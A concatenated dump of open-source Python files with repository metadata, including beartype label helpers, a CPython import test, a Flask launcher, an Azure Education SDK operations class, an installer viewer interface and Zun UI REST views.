601,807,733,379,134,137,587,58,480,745,856,87,939,678,557,999,150,677,273,131,555,733,21,909,723,842,377,930,364,338,626,71,952,552,811,537,220,688,930,809,360,348,577,418,4,198,976,802,896,887,67,436,206,107,809,677,177,723,162,384,201,187,248,669,846,218,452,667,294,512,349,48,158,42,61,696,94,785,969,753,467,36,363,552,640,370,470,734,541,847,109,403,792,674,766,120,318,878,106,790,573,968,493,66,220,777,391,197,979,36,292,600,677,313,448,242,891,54,186,986,666,91,841,221,18,213,815,924,504,423,420,542,139,679,17,893,338,451,811,956,928,769,402,315,159,992,684,215,185,223,779,505,163,531,363,3,517,362,524,458,55,910,968,666,889,877,594,892,930,58,268,44,993,27,644,884,798,66,470,528,202,461,159,60,693,926,460,607,826,825,202,961,908,330,813,388,992,726,607,988,50,357,772,419,872,119,276,467,370,204,15,518,456,573,447,717,856,872,141,438,485,450,526,310,327,201,839,841,747,17,245,852,139,829,561,321,184,929,814,763,526,310,785,35,39,11,480,570,191,182,162,116,666,878,996,117,274,292,263,675,485,829,190,291,230,464,244,742,979,474,954,622,914,285,606,265,663,128,883,569,974,206,281,888,739,691,295,594,32,48,488,481,184,348,129,793,8,352,367,491,330,993,717,93,73,866,444,573,740,741,662,704,342,516,979,481,509,530,747,269,18,19,688,956,767,491,646,31,202,693,590,285,774,530,98,913,190,757,491,227,654,747,695,845,366,172,752,172,775,877,1,551,113,481,132,204,134,912,176,916,139,453,521,393,748,623,759,302,900,567,76,712,742,700,727,883,308,677,878,190,206,876,726,976,245,683,6,206,387,653,931,595,111,244,681,599,602,926,768,479,690,592,979,292,963,700,567,327,759,33,520,621,128,585,799,681,116,656,806,875,794,984,471,666,846,676,894,545,942,592,751,228,658,230,597,813,19,879,79,82,386,450,325,88,217,687,530,901,972,172,334,760,557,981,481,993,638,928,360,199,151,718,870,373,964,888,524,397,181,139,126,976,538,152,896,375,31,113,439,349,660,218,273,779,93,221,226,885,210,230,885,937,902,688,685,443,389,73,290,357,603,106,821,664,960,806,595,746,82,127,668,698,654,133,735,199,303,196,671,717,177,324,237,357,771,827,49,561,520,678,412,380,560,219,847,272,115,295,266,46,920,296,331,90,205,891,251,367,723,474,268,798,796,632,432,952,900,191,924,33,450,1,898,425,773,307,56,663,180,461,722,613,18,659,18,564,120,879,70,19,522,69,388,288,957,647,629,942,39,420,751,144,327,69,852,680,665,52,515,813,294,89,508,215,147,71,98,879,889,271,478,52,769,912,987,696,217,768,663,391,240,568,584,816,266,405,837,500,552,236,293,374,532,29,51,495,217,846,86,986,169,812,127,847,231,850,129,166,594,12,476,684,622,533,841,912,28,983,211,694,944,248,448,504,490,192,78,483,683,97,697,304,911,12,49,542,369,947,969,800,626,805,239,328,322,153,215,348,995,179,432,380,598,269,763,240,187,765,174,419,252,196,60,328,415,79,467,523,479,559,715,231,97,68,666,585,648,741,906,32,832,400,48,18,332,459,73,8,145,51,53,481,650,961,703,586,92,251,654,119,667,281,898,484,231,298,15,396,484,463,991,360,317,435,602,939,557,522,422,931,313,976,440,678,454,903,114,90,325,364,89,834,39,113,337,774,55,721,197,963,61,839,131,92,825,667,511,66,308,382,830,782,760,243,426,850,417,70,381,984,601,984,747,405,502,34,876,189,260,577,256,828,248,707,269,329,420,300,942,228,879,765,570,718,251,610,594,1000,457,801,775,900,329,546,988,54,469,752,957,973,898,171,158,709,580,358,273,919,969,339,727,449,273,816,264,401,562,933,982,975,374,97,172,813,115,43,768,616,388,76,485,872,170,566,421,569,144,111,575,513,758,972,967,35,308,442,664,309,314,818,611,984,803,994,629,681,79,626,972,672,15,89,441,481,444,693,549,830,99,747,714,236,619,714,130,429,578,259,153,343,54,113,460,493,793,175,828,741,957,357,411,12,197,863,199,997,390,555,463,371,399,330,443,107,9,863,534,665,75,307,741,602,346,770,577,970,938,315,79,511,34,980,756,865,5,167,107,968,901,839,805,319,738,263,321,57,86,607,27,920,838,32,576,793,876,743,580,980,673,909,915,258,514,462,461,159,451,171,937,682,859,716,370,406,952,978,352,780,440,35,487,478,374,360,803,23,915,545,586,995,957,397,200,562,257,543,321,81,9,122,682,278,429,875,979,384,156,798,719,724,828,668,59,660,899,403,72,225,655,370,62,128,116,263,741,479,649,375,30,486,599,685,423,471,171,60,219,224,316,492,71,988,881,881,590,640,542,431,233,145,380,672,802,694,381,917,772,638,716,45,194,562,425,1000,765,212,699,170,361,412,901,564,300,80,521,926,157,60,629,483,252,166,378,665,680,473,775,53,69,325,380,834,222,660,488,932,791,338,626,366,30,754,79,564,787,141,79,75,232,288,119,573,575,406,290,868,160,479,892,91,107,340,592,463,688,606,174,23,725,132,846,488,784,967,877,471,905,880,584,991,930,921,192,112,103,869,862,410,909,248,418,915,343,566,544,94,375,419,334,347,179,794,928,413,748,416,786,752,957,845,841,481,746,900,645,924,355,34,33,850,53,37,451,144,959,396,89,874,277,121,492,579,33,243,480,377,508,218,630,197,409,629,632,444,322,1000,762,881,373,768,822,106,480,676,752,928,534,141,331,619,69,186,672,420,437,947,671,498,397,811,509,396,81,610,408,897,208,714,843,866,901,38,233,786,787,971,512,455,803,796,582,831,478,142,994,338,846,17,697,258,409,811,244,749,88,714,985,200,967,54,350,800,48,638,447,685,171,115,410,353,770,884,930,784,630,433,508,714,581,250,164,756,347,469,464,501,429,70,728,700,778,547,382,486,255,781,794,129,178,75,481,10,460,15,294,14,257,295,115,981,811,450,611,526,22,382,530,726,37,182,160,271,743,995,637,694,809,336,11,749,108,688,376,720,229,47,375,62,567,973,571,857,574,77,209,362,851,3,131,309,197,442,33,495,422,532,952,888,75,49,317,867,636,319,648,845,803,774,27,949,690,218,111,611,772,284,529,349,759,808,262,929,980,579,445,893,286,834,52,890,318,967,583,796,602,524,477,776,1,170,438,621,267,712,611,889,335,664,968,103,720,311,829,682,787,580,991,149,409,58,908,705,366,506,73,407,198,877,525,848,233,925,44,474,96,731,812,8,922,949,618,415,77,178,27,674,67,519,990,123,978,979,716,11,332,1000,71,888,296,770,673,508,845,701,407,782,398,750,574,85,842,839,42,600,555,197,869,905,456,37,747,450,641,930,626,567,243,823,386,799,709,191,446,348,659,222,788,49,678,590,547,210,796,252,974,933,13,394,717,167,781,770,919,518,884,898,57,696,453,954,293,798,105,644,916,58,141,13,320,910,300,154,385,861,606,370,519,314,501,19,185,700,475,459,230,802,11,296,967,328,10,780,55,969,865,512,38,564,731,184,510,153,362,67,387,353,190,692,184,372,373,486,363,761,993,126,197,144,340,140,111,189,598,723,272,840,353,532,233,158,851,836,923,645,391,200,978,977,166,59,934,929,604,493,717,277,113,617,595,87,828,138,936,911,261,127,898,645,33,895,915,332,905,24,1,647,139,514,124,509,273,961,493,182,72,797,952,218,778,358,522,15,228,624,148,690,597,812,517,468,209,385,312,654,261,593,407,554,865,922,740,234,218,963,809,49,806,493,400,728,21,462,16,704,820,744,468,734,871,29,422,335,988,511,497,137,456,987,234,425,887,152,839,391,741,810,867,892,680,165,829,398,386,730,787,498,977,374,462,122,966,237,632,937,700,349,511,807,93,878,908,859,471,831,124,109,57,868,857,171,457,212,161,924,882,621,11,346,465,908,49,804,144,928,721,83,556,108,180,943,16,513,320,941,27,720,333,782,365,583,832,49,505,415,326,995,969,313,630,904,677,762,262,566,595,542,219,949,423,392,655,934,430,564,508,176,410,48,754,538,602,193,258,598,174,566,290,958,810,641,314,842,24,380,955,735,600,947,927,128,658,794,254,379,710,300,757,673,69,829,424,576,303,861,981,683,223,105,163,262,977,510,39,454,715,239,250,622,309,321,852,617,42,734,20,474,796,507,498,856,246,212,562,826,459,51,855,737,844,971,279,686,599,26,796,281,430,81,377,417,867,504,522,482,518,896,428,618,233,891,2,694,412,426,17,855,425,644,770,48,352,606,370,91,491,7,522,240,350,189,35] # A = [3,7,2,3] s = Solution() print(s.maxScoreSightseeingPair2(A)) print(s.maxScoreSightseeingPair3(A))
9b8d48fea44093bfc1ddc7c034a4104d64e8a76b
34111dffa8598cd1baf84ecad87248d3b2c62269
/beartype/_util/text/utiltextlabel.py
ea65c94e16e1741098acd23390eba69a1f01864d
[ "MIT" ]
permissive
mbeacom/beartype
e6b7dc4490d19e446288a5bea2396204c67d51b1
ad20c2c3bd2590331ee3f3de702371d86ec8cb55
refs/heads/main
2023-07-30T00:14:05.275537
2021-09-17T07:21:39
2021-09-17T07:21:39
null
0
0
null
null
null
null
UTF-8
Python
false
false
11,670
py
#!/usr/bin/env python3 # --------------------( LICENSE )-------------------- # Copyright (c) 2014-2021 Beartype authors. # See "LICENSE" for further details. ''' Project-wide **text label** (i.e., human-readable strings describing prominent objects or types, typically interpolated into error messages) utilities. This private submodule is *not* intended for importation by downstream callers. ''' # ....................{ IMPORTS }.................... from beartype._util.utilobject import ( get_object_basename_scoped, get_object_type_name, ) from collections.abc import Callable # See the "beartype.cave" submodule for further commentary. __all__ = ['STAR_IMPORTS_CONSIDERED_HARMFUL'] # ....................{ LABELLERS ~ callable }.................... def prefix_callable(func: Callable) -> str: ''' Human-readable label describing the passed **callable** (e.g., function, method, property). Parameters ---------- func : Callable Callable to be labelled. Returns ---------- str Human-readable label describing this callable. ''' assert callable(func), f'{repr(func)} uncallable.' # Avoid circular import dependencies. from beartype._util.func.utilfuncarg import get_func_args_len_flexible from beartype._util.func.utilfuncfile import get_func_filename_or_none from beartype._util.func.utilfunccodeobj import get_func_codeobj from beartype._util.func.utilfunctest import is_func_lambda # If the passed callable is a pure-Python lambda function, that callable # has *NO* unique fully-qualified name. In this case, return a string # uniquely identifying this lambda from various code object metadata. if is_func_lambda(func): # Code object underlying this lambda. func_codeobj = get_func_codeobj(func) # Human-readable label describing this lambda. func_label = ( f'Lambda function of ' f'{get_func_args_len_flexible(func_codeobj)} argument(s)' ) # Absolute filename of the file defining this lambda if this lambda was # defined on-disk *OR* "None" otherwise (i.e., if this lambda was # defined in-memory). func_filename = get_func_filename_or_none(func) # If this lambda was defined on-disk, describe the location of this # lambda in that file. if func_filename: func_label += ( f' declared on line {func_codeobj.co_firstlineno} of ' f'file "{func_filename}" ' ) # Return this label. return func_label # Else, the passed callable is *NOT* a pure-Python lambda function and thus # has a unique fully-qualified name. In this case, simply return that name. return f'{get_object_basename_scoped(func)}() ' def prefix_callable_decorated(func: Callable) -> str: ''' Human-readable label describing the passed **decorated callable** (i.e., callable wrapped by the :func:`beartype.beartype` decorator with a wrapper function type-checking that callable). Parameters ---------- func : Callable Decorated callable to be labelled. Returns ---------- str Human-readable label describing this decorated callable. ''' # Create and return this label. return f'@beartyped {prefix_callable(func)}' def prefix_callable_decorated_pith( func: Callable, pith_name: str) -> str: ''' Human-readable label describing either the parameter with the passed name *or* return value if this name is ``return`` of the passed **decorated callable** (i.e., callable wrapped by the :func:`beartype.beartype` decorator with a wrapper function type-checking that callable). Parameters ---------- func : Callable Decorated callable to be labelled. pith_name : str Name of the parameter or return value of this callable to be labelled. Returns ---------- str Human-readable label describing either the name of this parameter *or* this return value. ''' assert isinstance(pith_name, str), f'{repr(pith_name)} not string.' # Return a human-readable label describing either... return ( # If this name is "return", the return value of this callable. prefix_callable_decorated_return(func) if pith_name == 'return' else # Else, the parameter with this name of this callable. prefix_callable_decorated_param(func=func, param_name=pith_name) ) # ....................{ LABELLERS ~ callable : param }.................... def prefix_callable_decorated_param( func: Callable, param_name: str) -> str: ''' Human-readable label describing the parameter with the passed name of the passed **decorated callable** (i.e., callable wrapped by the :func:`beartype.beartype` decorator with a wrapper function type-checking that callable). Parameters ---------- func : Callable Decorated callable to be labelled. param_name : str Name of the parameter of this callable to be labelled. Returns ---------- str Human-readable label describing this parameter's name. ''' assert isinstance(param_name, str), f'{repr(param_name)} not string.' # Create and return this label. return f'{prefix_callable_decorated(func)}parameter "{param_name}" ' def prefix_callable_decorated_param_value( func: Callable, param_name: str, param_value: object) -> str: ''' Human-readable label describing the parameter with the passed name and trimmed value of the passed **decorated callable** (i.e., callable wrapped by the :func:`beartype.beartype` decorator with a wrapper function type-checking that callable). Parameters ---------- func : Callable Decorated callable to be labelled. param_name : str Name of the parameter of this callable to be labelled. param_value : object Value of the parameter of this callable to be labelled. Returns ---------- str Human-readable label describing this parameter's name and value. ''' assert isinstance(param_name, str), f'{repr(param_name)} not string.' # Avoid circular import dependencies. from beartype._util.text.utiltextrepr import represent_object # Create and return this label. return ( f'{prefix_callable_decorated(func)}parameter ' f'{param_name}={represent_object(param_value)} ' ) # ....................{ LABELLERS ~ callable : return }.................... def prefix_callable_decorated_return(func: Callable) -> str: ''' Human-readable label describing the return of the passed **decorated callable** (i.e., callable wrapped by the :func:`beartype.beartype` decorator with a wrapper function type-checking that callable). Parameters ---------- func : Callable Decorated callable to be labelled. Returns ---------- str Human-readable label describing this return. ''' # Create and return this label. return f'{prefix_callable_decorated(func)}return ' def prefix_callable_decorated_return_value( func: Callable, return_value: object) -> str: ''' Human-readable label describing the passed trimmed return value of the passed **decorated callable** (i.e., callable wrapped by the :func:`beartype.beartype` decorator with a wrapper function type-checking that callable). Parameters ---------- func : Callable Decorated callable to be labelled. return_value : object Value returned by this callable to be labelled. Returns ---------- str Human-readable label describing this return value. ''' # Avoid circular import dependencies. from beartype._util.text.utiltextrepr import represent_object # Create and return this label. return ( f'{prefix_callable_decorated_return(func)}' f'{represent_object(return_value)} ' ) # ....................{ LABELLERS ~ callable : class }.................... def label_type(cls: type) -> str: ''' Human-readable label describing the passed class. Parameters ---------- cls : type Class to be labelled. Returns ---------- str Human-readable label describing this class. ''' assert isinstance(cls, type), f'{repr(cls)} not class.' # Avoid circular import dependencies. from beartype._util.cls.utilclstest import is_type_builtin from beartype._util.hint.pep.proposal.utilpep544 import ( is_hint_pep544_protocol) # Label to be returned, initialized to this class' fully-qualified name. classname = get_object_type_name(cls) # If this name contains *NO* periods, this class is actually a builtin type # (e.g., "list"). Since builtin types are well-known and thus # self-explanatory, this name requires no additional labelling. In this # case, return this name as is. if '.' not in classname: pass # If this name is that of a builtin type uselessly prefixed by the name of # the module declaring all builtin types (e.g., "builtins.list"), reduce # this name to the unqualified basename of this type (e.g., "list"). elif is_type_builtin(cls): classname = cls.__name__ # Else, this is a non-builtin class. Non-builtin classes are *NOT* # well-known and thus benefit from additional labelling. # # If this class is a PEP 544-compliant protocol supporting structural # subtyping, label this protocol. elif is_hint_pep544_protocol(cls): classname = f'<protocol "{classname}">' # Else if this class is a standard abstract base class (ABC) defined by a # stdlib submodule also known to support structural subtyping (e.g., # "collections.abc.Hashable", "contextlib.AbstractContextManager"), # label this ABC as a protocol. # # Note that user-defined ABCs do *NOT* generally support structural # subtyping. Doing so requires esoteric knowledge of undocumented and # mostly private "abc.ABCMeta" metaclass internals unlikely to be # implemented by third-party developers. Thanks to the lack of both # publicity and standardization, there exists *NO* general-purpose means of # detecting whether an arbitrary class supports structural subtyping. elif ( classname.startswith('collections.abc.') or classname.startswith('contextlib.') ): classname = f'<protocol ABC "{classname}">' # Else, this is a standard class. In this case, label this class as such. else: classname = f'<class "{classname}">' # Return this labelled classname. return classname # ....................{ LABELLERS ~ exception }.................... def label_exception(exception: Exception) -> str: ''' Human-readable label describing the passed exception. Caveats ---------- **The label returned by this function does not describe the traceback originating this exception.** To do so, consider calling the standard :func:`traceback.format_exc` function instead. Parameters ---------- exception : Exception Exception to be labelled. Returns ---------- str Human-readable label describing this exception. ''' assert isinstance(exception, Exception), ( f'{repr(exception)} not exception.') # Return this exception's label. return f'{exception.__class__.__qualname__}: {str(exception)}'
8c588d45717f6bd6101922802c938990ea431eff
55a273347cb103fe2b2704cb9653956956d0dd34
/code/tmp_rtrip/test/test_pkgimport.py
792cf3d14675d94179d159006b840859501355be
[ "MIT" ]
permissive
emilyemorehouse/ast-and-me
4af1bc74fc967ea69ac1aed92664f6428acabe6a
3f58117512e125e1ecbe3c72f2f0d26adb80b7b3
refs/heads/master
2022-11-18T03:50:36.505882
2018-05-12T17:53:44
2018-05-12T17:53:44
115,035,148
25
1
MIT
2022-11-04T11:36:43
2017-12-21T18:27:19
Python
UTF-8
Python
false
false
2,404
py
import os import sys import shutil import string import random import tempfile import unittest from importlib.util import cache_from_source from test.support import create_empty_file class TestImport(unittest.TestCase): def __init__(self, *args, **kw): self.package_name = 'PACKAGE_' while self.package_name in sys.modules: self.package_name += random.choose(string.ascii_letters) self.module_name = self.package_name + '.foo' unittest.TestCase.__init__(self, *args, **kw) def remove_modules(self): for module_name in (self.package_name, self.module_name): if module_name in sys.modules: del sys.modules[module_name] def setUp(self): self.test_dir = tempfile.mkdtemp() sys.path.append(self.test_dir) self.package_dir = os.path.join(self.test_dir, self.package_name) os.mkdir(self.package_dir) create_empty_file(os.path.join(self.package_dir, '__init__.py')) self.module_path = os.path.join(self.package_dir, 'foo.py') def tearDown(self): shutil.rmtree(self.test_dir) self.assertNotEqual(sys.path.count(self.test_dir), 0) sys.path.remove(self.test_dir) self.remove_modules() def rewrite_file(self, contents): compiled_path = cache_from_source(self.module_path) if os.path.exists(compiled_path): os.remove(compiled_path) with open(self.module_path, 'w') as f: f.write(contents) def test_package_import__semantics(self): self.rewrite_file('for') try: __import__(self.module_name) except SyntaxError: pass else: raise RuntimeError('Failed to induce SyntaxError') self.assertNotIn(self.module_name, sys.modules) self.assertFalse(hasattr(sys.modules[self.package_name], 'foo')) var = 'a' while var in dir(__builtins__): var += random.choose(string.ascii_letters) self.rewrite_file(var) try: __import__(self.module_name) except NameError: pass else: raise RuntimeError('Failed to induce NameError.') self.rewrite_file('%s = 1' % var) module = __import__(self.module_name).foo self.assertEqual(getattr(module, var), 1) if __name__ == '__main__': unittest.main()
c5bdf2f6cea518025127e5600520e7dde670c65d
0c1bb0e2b3ee7c6e2d9fa104178b3a3f5d223194
/flask/bin/flask
53441bf3e52839eec2304bc5bea2126658c1ea0a
[]
no_license
prasadbiradar/date-extraction-from-images
b2a94c137c14b20b5b0fb879cfd4ba4c7f17940d
055199f5321f346f131beb9c4bcbc2b86841cf13
refs/heads/master
2021-06-27T00:39:06.076822
2019-12-04T16:51:37
2019-12-04T16:51:37
225,878,458
0
0
null
2021-03-20T02:20:17
2019-12-04T13:50:39
Python
UTF-8
Python
false
false
276
#!/home/analytix/Downloads/personal/image_work/ocr-image-text-master/flask/bin/python2 # -*- coding: utf-8 -*- import re import sys from flask.cli import main if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0]) sys.exit(main())
d8c3c5cdd9933763803433ce5b76cc6d0c2c328f
f576f0ea3725d54bd2551883901b25b863fe6688
/sdk/education/azure-mgmt-education/azure/mgmt/education/aio/operations/_operations.py
369e23054c0cb208284134ebbe6f6929b0453fc8
[ "LicenseRef-scancode-generic-cla", "MIT", "LGPL-2.1-or-later" ]
permissive
Azure/azure-sdk-for-python
02e3838e53a33d8ba27e9bcc22bd84e790e4ca7c
c2ca191e736bb06bfbbbc9493e8325763ba990bb
refs/heads/main
2023-09-06T09:30:13.135012
2023-09-06T01:08:06
2023-09-06T01:08:06
4,127,088
4,046
2,755
MIT
2023-09-14T21:48:49
2012-04-24T16:46:12
Python
UTF-8
Python
false
false
4,564
py
# pylint: disable=too-many-lines # coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is regenerated. # -------------------------------------------------------------------------- import sys from typing import Any, Callable, Dict, Optional, TypeVar from azure.core.exceptions import ( ClientAuthenticationError, HttpResponseError, ResourceExistsError, ResourceNotFoundError, ResourceNotModifiedError, map_error, ) from azure.core.pipeline import PipelineResponse from azure.core.pipeline.transport import AsyncHttpResponse from azure.core.rest import HttpRequest from azure.core.tracing.decorator_async import distributed_trace_async from azure.core.utils import case_insensitive_dict from azure.mgmt.core.exceptions import ARMErrorFormat from ... import models as _models from ..._vendor import _convert_request from ...operations._operations import build_list_request from .._vendor import EducationManagementClientMixinABC if sys.version_info >= (3, 8): from typing import Literal # pylint: disable=no-name-in-module, ungrouped-imports else: from typing_extensions import Literal # type: ignore # pylint: disable=ungrouped-imports T = TypeVar("T") ClsType = Optional[Callable[[PipelineResponse[HttpRequest, AsyncHttpResponse], T, Dict[str, Any]], Any]] class Operations: """ .. warning:: **DO NOT** instantiate this class directly. Instead, you should access the following operations through :class:`~azure.mgmt.education.aio.EducationManagementClient`'s :attr:`operations` attribute. """ models = _models def __init__(self, *args, **kwargs) -> None: input_args = list(args) self._client = input_args.pop(0) if input_args else kwargs.pop("client") self._config = input_args.pop(0) if input_args else kwargs.pop("config") self._serialize = input_args.pop(0) if input_args else kwargs.pop("serializer") self._deserialize = input_args.pop(0) if input_args else kwargs.pop("deserializer") @distributed_trace_async async def list(self, **kwargs: Any) -> _models.OperationListResult: """Lists all of the available Microsoft.Education API operations. :keyword callable cls: A custom type or function that will be passed the direct response :return: OperationListResult or the result of cls(response) :rtype: ~azure.mgmt.education.models.OperationListResult :raises ~azure.core.exceptions.HttpResponseError: """ error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError, 304: ResourceNotModifiedError, } error_map.update(kwargs.pop("error_map", {}) or {}) _headers = kwargs.pop("headers", {}) or {} _params = case_insensitive_dict(kwargs.pop("params", {}) or {}) api_version: Literal["2021-12-01-preview"] = kwargs.pop( "api_version", _params.pop("api-version", self._config.api_version) ) cls: ClsType[_models.OperationListResult] = kwargs.pop("cls", None) request = build_list_request( api_version=api_version, template_url=self.list.metadata["url"], headers=_headers, params=_params, ) request = _convert_request(request) request.url = self._client.format_url(request.url) pipeline_response: PipelineResponse = await self._client._pipeline.run( # pylint: disable=protected-access request, stream=False, **kwargs ) response = pipeline_response.http_response if response.status_code not in [200]: map_error(status_code=response.status_code, response=response, error_map=error_map) error = self._deserialize.failsafe_deserialize(_models.ErrorResponseBody, pipeline_response) raise HttpResponseError(response=response, model=error, error_format=ARMErrorFormat) deserialized = self._deserialize("OperationListResult", pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized list.metadata = {"url": "/providers/Microsoft.Education/operations"}
f8953b3dc628c752016e48ddd21004f39880c333
68f0fe638c9cab6fb01a21bbf5da9beb2833f9c7
/zfrobisher-installer/src/viewer/viewer.py
fad12f94addb7da6db3ed7640a1398de8dab2e48
[]
no_license
fedosu85nce/work
cd7a8545211cdeafba6ff820ce27cacdd52668d5
1c738fd5e6ee3f8fd4f47acf2207038f20868212
refs/heads/master
2021-01-15T17:45:31.878900
2015-04-09T10:02:55
2015-04-09T10:02:55
31,659,550
2
0
null
null
null
null
UTF-8
Python
false
false
6,280
py
# # Code # class Viewer(object): """ Base interface for KoP installer viewer """ def getMenu(self): """ Creates and returns a Menu screen object @rtype: Menu @returns: screen object """ raise NotImplementedError("getMenu not implemented") # getMenu() def getDiskSelection(self, disks, diskData, lvmData, raidData): """ Creates and returns a Disk Selection screen object @type disks: list @param disks: disks found in the system @type diskData: dict @param diskData: detailed information about disks @type lvmData: dict @param lvmData: lvm metadata @type raidData: dict @param raidData: raid metadata @rtype: SelectHardDisk @returns: screen object """ raise NotImplementedError("getDiskSelection not implemented") # getDiskSelection() def getAddzFCP(self): """ Creates and returns a AddzFCP screen object @rtype: getAddzFCP @returns: screen object """ raise NotImplementedError("getAddzFCP not implemented") # getAddzFCP() def getConfirmation(self, device, diskData, lvmData): """ Creates and confirm the Confirmation screen object @rtype: getConfirmation @returns: screen object """ raise NotImplementedError("getConfirmation not implemented") # getDiskSelection() def getCheckHardDisk(self, diskSelected): """ Creates and returns a Check Hard Disk screen object @type diskSelected: str @param diskSelected: disk selected by user @rtype: CheckHardDisk @returns: screen object """ raise NotImplementedError("getCheckHardDisk not implemented") # getCheckHardDisk() def getInstallProgress(self): """ Creates and returns a Install Progress screen object @rtype: InstallProgress @returns: screen object """ raise NotImplementedError("getInstallProgress not implemented") # getInstallProgress() def getEntitlementError(self): """ Creates and returns a Entilement Error screen object @rtype: EntitlementError @returns: screen object """ raise NotImplementedError("getEntitlementError not implemented") # getEntitlementError() def getRebootSystem(self): """ Creates and returns a Reboot System screen object @rtype: RebootSystem @returns: screen object """ raise NotImplementedError("getRebootSystem not implemented") # getRebootSystem() def getUpgradeProgressScreen(self): """ Creates and returns a Upgrade Progress screen object @rtype: UpgradeProgress @returns: screen object """ raise NotImplementedError("getUpgradeProgressScreen not implemented") # getUpgradeProgressScreen() def getMessageWindow(self): """ Gets a generic message box @rtype: message window box @returns: screen object """ raise NotImplementedError("MessageWindow not implemented") # getMessageWindow() def getRootPasswdWindow(self): """ Creates and returns the Root Change Password screen object @rtype: RootChangePassword @returns: screen object """ raise NotImplementedError("RootChangePassword not implemented") # getRootPasswdWindow() def getTimezoneWindow(self): """ Creates and returns the Adjust Timezone screen object @rtype: AdjustTimezone @returns: screen object """ raise NotImplementedError("getTimezoneWindow not implemented") # getTimezoneWindow() def getChooseLanguage(self): """ Creates and returns the choose language screen object @rtype: ChooseLanguage @returns: screen object """ raise NotImplementedError("getChooseLanguage not implemented") # getChooseLanguage() def getListNetwork(self): """ Creates and returns the List of Network Interfaces screen object @rtype: ListNetworkifaces @returns: screen object """ raise NotImplementedError("getListNetwork not implemented") # getListNetwork() def getNetworkConfig(self, device, macaddr): """ Creates and returns the network config screen @rtype: ConfigNetwork @returns: screen object """ raise NotImplementedError("getNetworkConfig not implemented") # getNetworkConfig() def getDnsSetup(self): """ Creates and returns the dnssetup screen @rtype: DnsSetup @returns: screen object """ raise NotImplementedError("getDnsSetup not implemented") # getDnsSetup() def getDateTimeSetup(self): """ Creates and returns the datetime setup screen @rtype: datetimesetup @returns: screen object """ raise NotImplementedError("getDateTimeSetup not implemented") # getDateTimeSetup() def getSummary(self): """ Creates and returns the summary screen @rtype: summary @returns: screen object """ raise NotImplementedError("getSummary not implemented") # getSummary() def getFirstScreen(self): """ Creates and returns the first screen @rtype: first @returns: screen object """ raise NotImplementedError("getFirstScreen not implemented") # getFirstScreen() def getLicenseWindow(self): """ Creates and returns the license window screen @rtype: license @returns: screen object """ raise NotImplementedError("getLicenseWindow not implemented") # getLicenseWindow() def getIfaceConfig(self, address): """ Creates and returns the network interface configuration @rtype: InterfaceConfig @returns: screen object """ raise NotImplementedError("getIfaceConfig not implemented") # getIfaceConfig # Viewer
c3264ac3ec8ee90688ca8d7c237485a05abdffa0
490ffe1023a601760ae7288e86723f0c6e366bba
/kolla-docker/zun-ui/zun_ui/api/rest_api_providerregion.py
057018392db5c00f90f8d641943c030ace74da17
[ "Apache-2.0" ]
permissive
bopopescu/Cloud-User-Management
89696a5ea5d2f95191327fbeab6c3e400bbfb2b8
390988bf4915a276c7bf8d96b62c3051c17d9e6e
refs/heads/master
2022-11-19T10:09:36.662906
2018-11-07T20:28:31
2018-11-07T20:28:31
281,786,345
0
0
null
2020-07-22T21:26:07
2020-07-22T21:26:06
null
UTF-8
Python
false
false
3,580
py
# Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. from django.views import generic from zun_ui.api import client import logging from openstack_dashboard.api.rest import urls from openstack_dashboard.api.rest import utils as rest_utils LOG = logging.getLogger(__name__) def change_to_id(obj): """Change key named 'uuid' to 'id' Zun returns objects with a field called 'uuid' many of Horizons directives however expect objects to have a field called 'id'. """ obj['id'] = obj.pop('uuid') return obj @urls.register class Providerregion(generic.View): """API for retrieving a single container""" url_regex = r'zun/providerregions/(?P<id>[^/]+)$' @rest_utils.ajax() def get(self, request, id): LOG.debug('restapi Providerregion xxxxxx get=%s, id=%s xxx' % (request, id)) """Get a specific container""" return change_to_id(client.providerregion_show(request, id).to_dict()) @rest_utils.ajax(data_required=True) def delete(self, request, id): """Delete single Container forcely by id. Returns HTTP 204 (no content) on successful deletion. """ return client.providerregion_delete(request, id, force=True) @rest_utils.ajax(data_required=True) def patch(self, request, id): """Update a Container. Returns the Container object on success. """ args = client.providerregion_update(request, id, **request.DATA) LOG.debug('restapi inside patch Providerregion xxxxxx args=%s, xxx' % (args)) return args @urls.register class Providerregions(generic.View): """API for Zun Containers""" url_regex = r'zun/providerregions/$' @rest_utils.ajax() def get(self, request): """Get a list of the Containers for a project. The returned result is an object with property 'items' and each item under this is a Container. """ result = client.providerregion_list(request) LOG.debug('restapi Get yyyzzxxxxxx result= %s xxxxxx' % (result)) return {'items': [change_to_id(n.to_dict()) for n in result]} @rest_utils.ajax(data_required=True) def delete(self, request): """Delete one or more Containers by id. Returns HTTP 204 (no content) on successful deletion. """ for id in request.DATA: client.providerregion_delete(request, id) @rest_utils.ajax(data_required=True) def post(self, request): """Create a new Container. Returns the new Container object on success. If 'run' attribute is set true, do 'run' instead 'create' """ LOG.debug('providerregions restapi POST xxxxxx %s xxxxx %s xxx' % (request, request.DATA)) new_container = client.providerregion_create(request, **request.DATA) LOG.debug('zunclient post "%s" and url"%s"' % (new_container.uuid, new_container.to_dict())) return rest_utils.CreatedResponse( '/api/zun/providerregion/%s' % new_container.uuid, new_container.to_dict())
2ad74319a496c7b3398ffb728a98915725928b27
3499fc278bfd25fc42c8c52598e918bd010f8f3e
/venv/bin/django-admin
24c3d11d58c2bfe33c706b5ac9f1e7b170b038a2
[]
no_license
Janice-M/poll
365c7e4725ccc3831297e2a64042e914a5061532
dcb5f12f56837c5291c0e94917efe036e976b3ec
refs/heads/master
2022-12-22T08:53:28.698930
2020-09-25T19:07:59
2020-09-25T19:07:59
293,923,592
0
0
null
null
null
null
UTF-8
Python
false
false
294
